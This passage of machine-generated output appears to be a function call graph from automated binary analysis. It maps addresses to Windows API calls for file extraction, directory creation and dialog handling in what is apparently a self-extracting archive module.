28965->29156 28966->28858 28969->28812 28970->28819 28971->28836 28990 db1d5e __EH_prolog3_GS 28972->28990 28974 db349a 28975 d91a66 26 API calls 28974->28975 28976 db34a5 28975->28976 28977 db5787 5 API calls 28976->28977 28978 db10c5 28977->28978 28978->28850 28979 d9769f 45 API calls 28979->28990 28980 d925a4 26 API calls 28980->28990 28982 d914a7 28 API calls 28982->28990 28984 da645a 28 API calls 28984->28990 28986 db34ad 29190 d958cb 45 API calls 28986->29190 28989 d91a66 26 API calls 28989->28990 28990->28974 28990->28979 28990->28980 28990->28982 28990->28984 28990->28986 28990->28989 29182 db030a 28990->29182 29186 da62cd 30 API calls 2 library calls 28990->29186 29187 daf5b2 28 API calls 28990->29187 29188 d9adaa CompareStringW 28990->29188 29189 db44c0 26 API calls 28990->29189 28993 db3c87 __EH_prolog3_catch_GS _wcslen 28992->28993 29196 da6a89 28993->29196 28995 db3cba 29200 d97903 28995->29200 29004 db5796 5 API calls 29005 db10e0 29004->29005 29005->28864 30000 daeaa6 29006->30000 29009 db3885 29011 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29009->29011 29010 db37bf GetWindow 29010->29009 29018 db37d8 29010->29018 29012 db1266 29011->29012 29012->28667 29012->28668 29013 db37e5 GetClassNameW 30005 da8da4 CompareStringW 29013->30005 29015 db3809 GetWindowLongW 29016 db386d GetWindow 29015->29016 29017 db3819 SendMessageW 29015->29017 29016->29009 29016->29018 29017->29016 29019 db382f GetObjectW 29017->29019 29018->29009 29018->29013 29018->29015 29018->29016 30006 daeae5 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 29019->30006 29021 db3846 30007 daeac4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 29021->30007 30008 daef21 13 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29021->30008 29024 db3857 SendMessageW DeleteObject 29024->29016 29026 d91e0f 29025->29026 29027 d91e11 SetWindowTextW 29025->29027 29026->29027 29027->28696 29029 daf2f9 29028->29029 29030 daf31e 29028->29030 30011 da8da4 CompareStringW 29029->30011 29031 daf32c 29030->29031 29032 daf323 SHAutoComplete 29030->29032 29034 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29031->29034 29032->29031 29036 daf337 29034->29036 29035 daf30c 29035->29030 29037 daf310 FindWindowExW 29035->29037 29038 dafdd1 29036->29038 29037->29030 29039 dafded 29038->29039 29040 d920b0 30 API calls 29039->29040 29041 dafe27 29040->29041 30012 d92dbb 29041->30012 29044 dafe4c 30019 d9278b 29044->30019 29045 dafe43 29046 d9232c 123 API calls 29045->29046 29048 dafe48 29046->29048 29051 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29048->29051 29050 d9232c 123 API calls 29050->29048 29052 dafe77 29051->29052 29052->28721 29052->28724 29053->28692 29054->28706 29056 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29055->29056 29057 db57a0 29056->29057 29057->29057 29059 db0678 5 API calls 29058->29059 29060 db358d GetDlgItem 29059->29060 29061 db35ac 29060->29061 29062 db35e4 SendMessageW SendMessageW 29060->29062 29065 db35b7 ShowWindow SendMessageW SendMessageW 29061->29065 29063 db3643 SendMessageW 29062->29063 29064 db3624 29062->29064 29066 db365b 29063->29066 29067 db365d SendMessageW SendMessageW 29063->29067 29064->29063 29065->29062 29066->29067 29068 db367f SendMessageW 29067->29068 29069 db36a2 SendMessageW 29067->29069 29068->29069 29070 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29069->29070 29071 db36c0 29070->29071 29071->28763 29072->28717 29073->28740 29074->28746 29075->28827 29076->28861 29077->28866 29078->28871 29079->28877 29080->28881 29082 d92e93 29081->29082 29084 d92ea0 29081->29084 29083 d912a7 26 API calls 29082->29083 29083->29084 29084->28896 29085->28813 29086->28876 29087->28769 29088->28828 29089->28785 29090->28774 29091->28764 29092->28906 29093->28903 29094->28912 29106 db57d8 29095->29106 29097 d91d70 GetWindowTextLengthW 29107 d91bbd 28 API calls 29097->29107 29099 d91dab GetWindowTextW 29100 d914a7 28 API calls 29099->29100 29101 d91dca 29100->29101 29102 d91ddd 29101->29102 29103 d912a7 26 API calls 29101->29103 29104 db5787 5 API calls 29102->29104 29103->29102 29105 d91de4 29104->29105 29105->28917 29106->29097 29107->29099 29110 d9effb __EH_prolog3_GS 29108->29110 29109 d9f02f 29112 d9ed0d 49 API calls 29109->29112 29110->29109 29111 d9f01b CreateDirectoryW 29110->29111 29111->29109 29113 d9f0d0 29111->29113 29115 d9f03b 29112->29115 29118 d9f0df 29113->29118 29127 d9f58b 29113->29127 29114 d9f0e3 GetLastError 29114->29118 29115->29114 29117 da169a 47 API calls 29115->29117 29120 d9f063 29117->29120 29119 db5787 5 API calls 29118->29119 29121 d9f100 29119->29121 29122 d9f07d 29120->29122 29123 d9f070 29120->29123 29124 d9f073 CreateDirectoryW 29120->29124 29121->28931 29126 d9f0ad 29122->29126 29140 d919a9 26 API calls 29122->29140 29123->29124 29124->29122 29126->29113 29126->29114 29128 d9f597 __EH_prolog3_GS 29127->29128 29129 d9f5a4 SetFileAttributesW 29128->29129 29130 d9f5b7 29129->29130 29138 d9f622 29129->29138 29132 da169a 47 API calls 29130->29132 29131 db5787 5 API calls 29133 d9f638 29131->29133 29134 d9f5d7 29132->29134 29133->29118 29135 d9f5f6 29134->29135 29136 d9f5e4 29134->29136 29137 d9f5e7 SetFileAttributesW 29134->29137 29135->29138 29141 d919a9 26 API calls 29135->29141 29136->29137 29137->29135 29138->29131 29140->29126 29141->29138 29143 d92f2f 29142->29143 29144 d92f26 29142->29144 29145 d9120c 28 API calls 29143->29145 29144->28941 29145->29144 29147 d95a3a 29146->29147 29148 d95975 29146->29148 29154 d958cb 45 API calls 29147->29154 29152 d95987 29148->29152 29153 d93029 28 API calls 29148->29153 29152->28946 29153->29152 29155->28958 29157 d9e015 29156->29157 29160 d9dfeb 29156->29160 29157->28962 29160->29157 29167 d9ec63 29160->29167 29162 d9de76 29161->29162 29163 d9de5c 29161->29163 29164 d9de95 29162->29164 29181 d9925b 109 API calls 29162->29181 29163->29162 29165 d9de68 CloseHandle 29163->29165 29164->28962 29165->29162 29168 d9ec6f __EH_prolog3_GS 29167->29168 29169 d9ec7c DeleteFileW 29168->29169 29170 d9ec8c 29169->29170 29178 d9ecf4 29169->29178 29172 da169a 47 API calls 29170->29172 29171 db5787 5 API calls 29173 d9e013 29171->29173 29174 d9ecac 29172->29174 29173->28962 29175 d9ecc8 29174->29175 29176 d9ecb9 29174->29176 29177 d9ecbc DeleteFileW 29174->29177 29175->29178 29180 d919a9 26 API calls 29175->29180 29176->29177 29177->29175 29178->29171 29180->29178 29181->29164 29183 db031d 29182->29183 29184 db0324 29182->29184 29183->28990 29184->29183 29191 d91b63 29184->29191 29186->28990 29187->28990 29188->28990 29189->28990 29192 d91b6f 29191->29192 29193 d91b8e 29191->29193 29192->29184 29195 d913f7 28 API calls 29193->29195 29195->29192 29197 da6a99 _wcslen 29196->29197 29198 d91be3 28 API calls 29197->29198 29199 da6abb 29198->29199 29199->28995 29201 da6a74 29200->29201 29202 da6a89 28 API calls 29201->29202 29203 da6a86 29202->29203 29204 d9b03d 29203->29204 29205 d9b049 __EH_prolog3_GS 29204->29205 29251 da2815 29205->29251 29207 d9b092 29257 d9b231 29207->29257 29210 d91a66 26 API calls 29211 d9b120 29210->29211 29212 d91a66 26 API calls 29211->29212 29213 d9b128 29212->29213 29214 db56f6 28 API calls 29213->29214 29215 d9b13f 29214->29215 29262 daa599 29215->29262 29217 d9b172 29218 db5787 5 API calls 29217->29218 29219 d9b179 29218->29219 29220 d9b3e1 29219->29220 29221 d9b3ed __EH_prolog3_GS 29220->29221 29222 d9b478 29221->29222 29225 d9b484 29221->29225 29302 d9f711 29221->29302 29223 d91a66 26 API calls 29222->29223 29223->29225 29226 d9b4e0 29225->29226 29269 d9bc65 29225->29269 29230 d9b529 29226->29230 29309 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29226->29309 29228 db5787 5 API calls 29229 d9b543 29228->29229 29232 d9b194 29229->29232 29230->29228 29944 d9d6bc 29232->29944 29235 d91a66 26 API calls 29237 d9b1e8 29235->29237 29239 d91a66 26 API calls 29237->29239 29238 d9b1d0 29238->29235 29240 d9b1f3 29239->29240 29241 d91a66 26 API calls 29240->29241 29242 d9b1fe 29241->29242 29958 da28aa 29242->29958 29244 d9b206 29245 d91a66 26 API calls 29244->29245 29246 d9b20e 29245->29246 29247 d91a66 26 API calls 29246->29247 29248 d9b216 29247->29248 29249 d9d869 26 API calls 29248->29249 29250 d9b21d 29249->29250 29250->29004 29252 da2821 __EH_prolog3 29251->29252 29253 db56f6 28 API calls 29252->29253 29254 da285f 29253->29254 29255 db56f6 28 API calls 29254->29255 29256 da2883 29255->29256 29256->29207 29258 d925a4 26 API calls 29257->29258 29259 d9b23f 29258->29259 29260 d925a4 26 API calls 29259->29260 29261 d9b118 29260->29261 29261->29210 29263 daa5a5 __EH_prolog3 29262->29263 29264 db56f6 28 API calls 29263->29264 29265 daa5bf 29264->29265 29266 daa5d6 29265->29266 29268 da7445 112 API calls 29265->29268 29266->29217 29268->29266 29270 d9bc80 29269->29270 29310 d920b0 29270->29310 29272 d9bca7 29273 d9bcba 29272->29273 29529 d9e910 29272->29529 29278 d9bcec 29273->29278 29320 d927e0 29273->29320 29276 d9bce8 29276->29278 29344 d92d41 160 API calls __EH_prolog3_GS 29276->29344 29506 d9232c 29278->29506 29283 d9bd14 29284 d9be08 29283->29284 29285 d97673 28 API calls 29283->29285 29345 d9bec2 7 API calls 29284->29345 29287 d9bd36 29285->29287 29533 da1e54 46 API calls 2 library calls 29287->29533 29289 d9f711 53 API calls 29298 d9bd53 29289->29298 29290 d9be16 29291 d9be76 29290->29291 29535 da864f 91 API calls 29290->29535 29291->29278 29346 d952d8 29291->29346 29358 d9bf3d 29291->29358 29292 d9bde8 29296 d91a66 26 API calls 29292->29296 29295 d91a66 26 API calls 29295->29298 29299 d9bded 29296->29299 29298->29289 29298->29292 29298->29295 29534 da1e54 46 API calls 2 library calls 29298->29534 29301 d91a66 26 API calls 29299->29301 29301->29284 29303 da1a9f 5 API calls 29302->29303 29305 d9f723 29303->29305 29304 d9f74b 29304->29221 29305->29304 29919 d9f826 29305->29919 29308 d9f738 FindClose 29308->29304 29309->29230 29311 d920bc __EH_prolog3 29310->29311 29312 da2815 28 API calls 29311->29312 29313 d920e8 29312->29313 29314 db56f6 28 API calls 29313->29314 29317 d92193 29313->29317 29316 d92180 29314->29316 29316->29317 29536 d976e7 29316->29536 29544 da026f 29317->29544 29319 d92227 _abort 29319->29272 29321 d927ec __EH_prolog3 29320->29321 29322 d911dd 28 API calls 29321->29322 29326 d92838 29321->29326 29331 d9298b 29321->29331 29327 d92882 29322->29327 29323 d929a9 29558 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29323->29558 29325 d952d8 133 API calls 29332 d929f4 29325->29332 29326->29323 29328 d929b6 29326->29328 29342 d9e850 111 API calls 29327->29342 29328->29325 29328->29331 29329 d92a3c 29329->29331 29334 d92a6f 29329->29334 29559 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29329->29559 29331->29276 29332->29329 29333 d952d8 133 API calls 29332->29333 29333->29332 29334->29331 29343 d9e850 111 API calls 29334->29343 29335 d92995 29337 d92e8b 26 API calls 29335->29337 29336 d92986 29338 d92e8b 26 API calls 29336->29338 29337->29326 29338->29331 29339 d92ac0 29339->29331 29341 d952d8 133 API calls 29339->29341 29340 d928ad 29340->29335 29340->29336 29341->29339 29342->29340 29343->29339 29344->29283 29345->29290 29347 d952e8 29346->29347 29348 d952e4 29346->29348 29357 d9e850 111 API calls 29347->29357 29348->29291 29349 d952fa 29350 d95323 29349->29350 29351 d95315 29349->29351 29561 d93d9d 131 API calls 3 library calls 29350->29561 29356 d95355 29351->29356 29560 d948aa 118 API calls 2 library calls 29351->29560 29354 d95321 29354->29356 29562 d9344b 89 API calls 29354->29562 29356->29291 29357->29349 29359 d9bf95 29358->29359 29364 d9bfc4 29359->29364 29424 d9c2fd 29359->29424 29660 dacdb4 135 API calls __EH_prolog3_GS 29359->29660 29361 d9d2e5 29362 d9d2ea 29361->29362 29363 d9d331 29361->29363 29362->29424 29731 d9ab88 185 API calls 29362->29731 29363->29424 29732 dacdb4 135 API calls __EH_prolog3_GS 29363->29732 29364->29361 29369 d9bfeb 29364->29369 29364->29424 29365 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29366 d9d327 29365->29366 29366->29291 29369->29424 29563 d97e1b 29369->29563 29371 d9c0c8 29575 da106b 29371->29575 29375 d9c151 29379 d9c16f 29375->29379 29662 da2095 45 API calls __EH_prolog3_GS 29375->29662 29377 d9c269 29384 d9c29b 29377->29384 29663 d919a9 26 API calls 29377->29663 29378 d9d205 29382 d9c948 29378->29382 29418 d9c743 29378->29418 29406 d9c239 29379->29406 29665 da0ddb 28 API calls 29379->29665 29381 d9c374 29381->29378 29385 d9c3ea 29381->29385 29386 d9c3cf 29381->29386 29395 d9c97a 29382->29395 29698 d919a9 26 API calls 29382->29698 29384->29424 29664 d919a9 26 API calls 29384->29664 29400 d9c409 29385->29400 29667 d9b92d 56 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29385->29667 29387 d91a66 26 API calls 29386->29387 29390 d9c3da 29387->29390 29397 d91a66 26 API calls 29390->29397 29392 d9d276 29392->29424 29730 d919a9 26 API calls 29392->29730 29395->29424 29699 d919a9 26 API calls 29395->29699 29397->29424 29398 d9c33d _wcslen 29666 d9f103 52 API calls 2 library calls 29398->29666 29399 d9c4ea 29585 d9b2ee 29399->29585 29400->29399 29402 d9f711 53 API calls 29400->29402 29412 d9c49b 29402->29412 29405 d9c5c2 29407 d9c7d8 29405->29407 29411 d9c5cf 29405->29411 29406->29377 29406->29381 29676 da2a36 115 API calls 29407->29676 29408 d91a66 26 API calls 29408->29399 29447 d9c62c 29411->29447 29670 d957c0 28 API calls 2 library calls 29411->29670 29412->29408 29415 d9c501 29421 d9c551 29415->29421 29668 d919a9 26 API calls 29415->29668 29416 d9c8f0 29425 d9c9eb 29416->29425 29442 d9c8ff 29416->29442 29417 d9c830 29417->29416 29426 d9c859 29417->29426 29418->29392 29729 d919a9 26 API calls 29418->29729 29421->29424 29669 d919a9 26 API calls 29421->29669 29424->29365 29438 d9c874 29425->29438 29591 d9b345 29425->29591 29431 d9ed0d 49 API calls 29426->29431 29433 d9ca64 29426->29433 29426->29438 29427 d9c940 29429 d9ddc7 114 API calls 29427->29429 29429->29382 29430 d9d1f2 29434 d9ddc7 114 API calls 29430->29434 29435 d9c8b3 29431->29435 29432 d9ca01 29436 d9ca05 29432->29436 29597 d9b778 29432->29597 29433->29430 29458 d9cac5 29433->29458 29700 d9e152 29433->29700 29434->29378 29435->29438 29678 d9d8b8 29435->29678 29439 d9ddc7 114 API calls 29436->29439 29438->29433 29438->29436 29449 d9b345 90 API calls 29438->29449 29439->29418 29442->29427 29697 d9b544 144 API calls __EH_prolog3_GS 29442->29697 29445 d9cb15 29451 d9fd70 28 API calls 29445->29451 29446 d9c77a 29675 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29446->29675 29447->29418 29447->29446 29454 d9c781 29447->29454 29671 d9b015 28 API calls 29447->29671 29672 da2a36 115 API calls 29447->29672 29673 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29447->29673 29674 d9b8ed 89 API calls 29447->29674 29453 d9ca5e 29449->29453 29468 d9cb2f 29451->29468 29453->29433 29453->29436 29454->29417 29677 d9ede9 119 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29454->29677 29456 d9cab7 29704 d99653 109 API calls 29456->29704 29627 d9fd70 29458->29627 29459 d9cc21 29460 d9cf27 29459->29460 29461 d9cc76 29459->29461 29465 d9cf39 29460->29465 29466 d9cf50 29460->29466 29486 d9ccb5 29460->29486 29462 d9cd33 29461->29462 29464 d9cc94 29461->29464 29708 da22b9 28 API calls 29462->29708 29470 d9ccd8 29464->29470 29479 d9cca3 29464->29479 29715 d9d771 29465->29715 29631 da9625 29466->29631 29468->29459 29705 d9e39d 8 API calls 29468->29705 29469 d9cd69 29473 da106b 45 API calls 29469->29473 29470->29486 29707 d9a7a2 142 API calls 29470->29707 29472 d9cf73 29647 da94ea 29472->29647 29477 d9cd76 29473->29477 29709 d9b92d 56 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29477->29709 29706 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29479->29706 29482 d9cdaf 29483 d9cddd 29482->29483 29484 d9cdcd 29482->29484 29485 d9cddf 29482->29485 29490 d9ce3e 29483->29490 29712 d919a9 26 API calls 29483->29712 29710 d9a496 119 API calls 29484->29710 29711 d9d3d7 135 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29485->29711 29492 d9cf15 29486->29492 29714 d9fd28 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29486->29714 29490->29486 29713 d919a9 26 API calls 29490->29713 29495 d9d044 29492->29495 29726 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29492->29726 29494 d9d115 29655 d9e772 29494->29655 29495->29430 29495->29494 29498 d9d161 29495->29498 29654 d9e8d9 SetEndOfFile 29495->29654 29498->29430 29500 d9f58b 49 API calls 29498->29500 29499 d9d159 29501 d9de50 110 API calls 29499->29501 29502 d9d1d2 29500->29502 29501->29498 29502->29430 29727 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29502->29727 29504 d9d1e8 29728 d99500 109 API calls __EH_prolog3_GS 29504->29728 29507 d9233e 29506->29507 29511 d92350 29506->29511 29507->29511 29915 d923b0 26 API calls 29507->29915 29508 d91a66 26 API calls 29510 d92369 29508->29510 29916 d92ed0 26 API calls 29510->29916 29511->29508 29513 d92374 29917 d924d9 26 API calls 29513->29917 29531 d9e927 29529->29531 29530 d9e931 29530->29273 29531->29530 29918 d993d7 110 API calls __EH_prolog3_GS 29531->29918 29533->29298 29534->29298 29535->29291 29537 d976f3 __EH_prolog3 29536->29537 29552 da0aaf GetCurrentProcess GetProcessAffinityMask 29537->29552 29539 d976fd 29553 da4f2b 28 API calls __EH_prolog3 29539->29553 29541 d97874 29554 d97cba GetCurrentProcess GetProcessAffinityMask 29541->29554 29543 d97891 29543->29317 29545 da028f _abort 29544->29545 29555 da0152 29545->29555 29548 d91a66 26 API calls 29549 da02b4 29548->29549 29550 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29549->29550 29551 da02bf 29550->29551 29551->29319 29552->29539 29553->29541 29554->29543 29556 d925a4 26 API calls 29555->29556 29557 da01c7 29556->29557 29557->29548 29558->29331 29559->29334 29560->29354 29561->29354 29562->29356 29564 d97e27 __EH_prolog3_GS 29563->29564 29733 d97bfc 29564->29733 29566 d97e6c 29567 db5787 5 API calls 29566->29567 29568 d97ecf 29567->29568 29568->29371 29569 d97e68 29569->29566 29572 d97ed2 29569->29572 29573 d97ebe 29569->29573 29738 d97bd6 30 API calls 29569->29738 29571 d91a66 26 API calls 29571->29566 29572->29573 29739 d9adaa CompareStringW 29572->29739 29573->29571 29584 da1095 29575->29584 29576 da1256 29578 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29576->29578 29577 d9769f 45 API calls 29579 da1241 29577->29579 29580 d9c11b 29578->29580 29581 d925a4 26 API calls 29579->29581 29580->29379 29661 da2095 45 API calls __EH_prolog3_GS 29580->29661 29582 da124d 29581->29582 29583 d91a66 26 API calls 29582->29583 29583->29576 29584->29576 29584->29577 29586 d9b303 29585->29586 29587 d9b33b 29586->29587 29777 d99635 89 API calls 29586->29777 29587->29405 29587->29415 29589 d9b333 29778 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29589->29778 29592 d9b368 29591->29592 29594 d9b39e 29591->29594 29592->29594 29779 da85fd 75 API calls 29592->29779 29594->29432 29595 d9b39a 29595->29594 29780 d932a1 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29595->29780 29598 d9b784 __EH_prolog3_GS 29597->29598 29599 d9b8e3 29598->29599 29601 d9d8b8 138 API calls 29598->29601 29600 db5787 5 API calls 29599->29600 29602 d9b8ea 29600->29602 29603 d9b7ef 29601->29603 29602->29438 29603->29599 29781 d99283 109 API calls 29603->29781 29605 d9b817 29606 d9ed0d 49 API calls 29605->29606 29607 d9b81d 29606->29607 29608 d9b838 29607->29608 29609 d9ed1f 49 API calls 29607->29609 29783 da1a27 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 29608->29783 29614 d9b827 29609->29614 29611 d9b83e 29611->29599 29784 d9204b 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29611->29784 29613 d9b850 29615 d97673 28 API calls 29613->29615 29614->29608 29782 d932a1 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29614->29782 29618 d9b859 29615->29618 29617 d9b88d 29619 d9eaf3 54 API calls 29617->29619 29623 d9b8c9 29617->29623 29618->29617 29785 d9ede9 119 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29618->29785 29621 d9b8a1 29619->29621 29622 d9d8b8 138 API calls 29621->29622 29624 d9b8c5 29622->29624 29625 d91a66 26 API calls 29623->29625 29624->29623 29786 d99283 109 API calls 29624->29786 29625->29599 29628 d9fd7e 29627->29628 29630 d9fd88 29627->29630 29629 db56f6 28 API calls 29628->29629 29629->29630 29630->29445 29632 da9639 29631->29632 29633 da975f 29632->29633 29637 da9644 29632->29637 29635 db734a _com_raise_error RaiseException 29633->29635 29634 da9739 29634->29472 29641 da970b 29635->29641 29636 da96ed 29636->29634 29640 da971f 29636->29640 29636->29641 29637->29634 29637->29636 29638 dbd08c ___std_exception_copy 21 API calls 29637->29638 29637->29641 29638->29636 29639 db734a _com_raise_error RaiseException 29645 da97a3 __EH_prolog3 _abort 29639->29645 29640->29634 29787 da9556 89 API calls 4 library calls 29640->29787 29641->29639 29643 da9896 29643->29472 29644 dbd08c ___std_exception_copy 21 API calls 29644->29645 29645->29643 29645->29644 29788 d99384 89 API calls 29645->29788 29648 da94f3 29647->29648 29649 da951d 29648->29649 29650 da951f 29648->29650 29651 da9515 29648->29651 29649->29486 29804 daabc8 155 API calls 29650->29804 29789 dab76f 29651->29789 29654->29494 29656 d9e783 29655->29656 29659 d9e792 29655->29659 29657 d9e789 FlushFileBuffers 29656->29657 29656->29659 29657->29659 29658 d9e80f SetFileTime 29658->29499 29659->29658 29660->29364 29661->29375 29662->29379 29663->29384 29664->29424 29665->29398 29666->29406 29667->29400 29668->29421 29669->29424 29670->29447 29671->29447 29672->29447 29673->29447 29674->29447 29675->29454 29676->29454 29677->29417 29679 d9d8c5 29678->29679 29680 d9ed0d 49 API calls 29679->29680 29689 d9d8d7 29680->29689 29681 d9d93e 29682 d9d953 29681->29682 29684 d9de9a 49 API calls 29681->29684 29687 d9eaf3 54 API calls 29682->29687 29692 d9d957 29682->29692 29683 d9d8e8 29683->29689 29883 d9d990 125 API calls __EH_prolog3_GS 29683->29883 29684->29682 29688 d9d973 29687->29688 29690 d9d982 29688->29690 29691 d9d977 29688->29691 29689->29681 29689->29683 29689->29692 29694 d9ed0d 49 API calls 29689->29694 29884 da846c 61 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29689->29884 29885 d992e6 RaiseException _com_raise_error 29689->29885 29695 d9ec63 49 API calls 29690->29695 29693 d9de9a 49 API calls 29691->29693 29692->29438 29693->29692 29694->29689 29695->29692 29697->29427 29698->29395 29699->29424 29701 d9caa5 29700->29701 29702 d9e15b GetFileType 29700->29702 29701->29458 29703 d932d2 89 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 29701->29703 29702->29701 29703->29456 29704->29458 29705->29459 29706->29486 29707->29486 29708->29469 29709->29482 29710->29483 29711->29483 29712->29490 29713->29486 29714->29492 29716 d9d77d __EH_prolog3 29715->29716 29717 d911dd 28 API calls 29716->29717 29718 d9d788 29717->29718 29719 da2af9 150 API calls 29718->29719 29725 d9d7b1 29719->29725 29720 d9d804 29722 d9d828 29720->29722 29894 d919a9 26 API calls 29720->29894 29722->29486 29724 da2af9 150 API calls 29724->29725 29725->29720 29725->29724 29886 da2ce5 29725->29886 29726->29495 29727->29504 29728->29430 29729->29392 29730->29424 29731->29424 29732->29424 29740 d9790e 29733->29740 29735 d97c1d 29735->29569 29737 d9790e 47 API calls 29737->29735 29738->29569 29739->29573 29741 da106b 45 API calls 29740->29741 29742 d97989 _wcslen 29741->29742 29744 d97b1b 29742->29744 29750 da2117 45 API calls 29742->29750 29751 d97673 28 API calls 29742->29751 29753 da106b 45 API calls 29742->29753 29754 d9769f 45 API calls 29742->29754 29755 d91a66 26 API calls 29742->29755 29757 d97bc2 29742->29757 29761 d91b63 28 API calls 29742->29761 29762 da1a9f 29742->29762 29766 d97bd6 30 API calls 29742->29766 29743 d97b4a 29748 d97b92 29743->29748 29768 d919a9 26 API calls 29743->29768 29744->29743 29767 d919a9 26 API calls 29744->29767 29745 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29749 d97bbb 29745->29749 29748->29745 29749->29735 29749->29737 29750->29742 29751->29742 29753->29742 29754->29742 29755->29742 29758 d91a66 26 API calls 29757->29758 29759 d97bc7 29758->29759 29760 d91a66 26 API calls 29759->29760 29760->29744 29761->29742 29763 da1ab1 29762->29763 29769 d996e5 29763->29769 29766->29742 29767->29743 29768->29748 29770 d996f1 _wcslen 29769->29770 29773 d990f4 29770->29773 29776 d99137 _abort 29773->29776 29774 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29775 d991a9 29774->29775 29775->29742 29776->29774 29777->29589 29778->29587 29779->29595 29780->29594 29781->29605 29782->29608 29783->29611 29784->29613 29785->29617 29786->29623 29787->29634 29788->29645 29805 da97a4 29789->29805 29792 dabb9c 29835 daa814 129 API calls __InternalCxxFrameHandler 29792->29835 29794 dabbb5 __InternalCxxFrameHandler 29795 db5734 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 29794->29795 29796 dabbfc 29795->29796 29796->29649 29799 dab78e __InternalCxxFrameHandler 29799->29792 29810 da2af9 29799->29810 29821 da7590 29799->29821 29827 daa008 150 API calls 29799->29827 29828 dabc05 150 API calls 29799->29828 29829 da77cf 29799->29829 29833 da9a2b 129 API calls 29799->29833 29834 dac27f 155 API calls 29799->29834 29804->29649 29808 da97b0 __EH_prolog3 _abort 29805->29808 29806 da9896 29806->29799 29807 dbd08c ___std_exception_copy 21 API calls 29807->29808 29808->29806 29808->29807 29836 d99384 89 API calls 29808->29836 29818 da2b0f __InternalCxxFrameHandler 29810->29818 29811 da2c7f 29812 da2cb3 29811->29812 29837 da2ab0 29811->29837 29814 da2cd4 29812->29814 29843 d982a0 IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 29812->29843 29844 da73f8 29814->29844 29818->29811 29819 da2c76 29818->29819 29841 d9fe6f 123 API calls __EH_prolog3 29818->29841 29842 dacdb4 135 API calls __EH_prolog3_GS 29818->29842 29819->29799 29822 da759c 29821->29822 29823 da75a1 29821->29823 29860 da7628 29822->29860 29825 da75b1 29823->29825 29826 da77cf 113 API calls 29823->29826 29825->29799 29826->29825 29827->29799 29828->29799 29830 da77db ResetEvent ReleaseSemaphore 29829->29830 29831 da7806 29829->29831 29875 da75ed WaitForSingleObject 29830->29875 29831->29799 29833->29799 29834->29799 29835->29794 29836->29808 29838 da2ab8 29837->29838 29839 da2af5 29837->29839 29838->29839 29850 da8618 29838->29850 29839->29812 29841->29818 29842->29818 29843->29814 29845 da73ff 29844->29845 29846 da741a 29845->29846 29858 d992e6 RaiseException _com_raise_error 29845->29858 29848 da742b SetThreadExecutionState 29846->29848 29859 d992e6 RaiseException _com_raise_error 29846->29859 29848->29819 29853 db4231 29850->29853 29854 da60d5 29853->29854 29855 db4248 SendDlgItemMessageW 29854->29855 29856 db0678 PeekMessageW GetMessageW IsDialogMessageW TranslateMessage DispatchMessageW 29855->29856 29857 da8638 29856->29857 29857->29839 29858->29846 29859->29848 29861 da76a1 29860->29861 29862 da7633 29860->29862 29861->29823 29862->29861 29863 da7638 CreateThread 29862->29863 29865 da7690 SetThreadPriority 29862->29865 29868 d992eb 109 API calls __EH_prolog3_GS 29862->29868 29869 d99500 109 API calls __EH_prolog3_GS 29862->29869 29870 d992e6 RaiseException _com_raise_error 29862->29870 29863->29862 29871 da7760 29863->29871 29865->29862 29868->29862 29869->29862 29870->29862 29874 da776e 116 API calls 29871->29874 29873 da7769 29874->29873 29876 da75fe GetLastError 29875->29876 29877 da7624 29875->29877 29881 d992eb 109 API calls __EH_prolog3_GS 29876->29881 29877->29831 29879 da7618 29882 d992e6 RaiseException _com_raise_error 29879->29882 29881->29879 29882->29877 29883->29683 29884->29689 29885->29689 29887 da2d18 29886->29887 29888 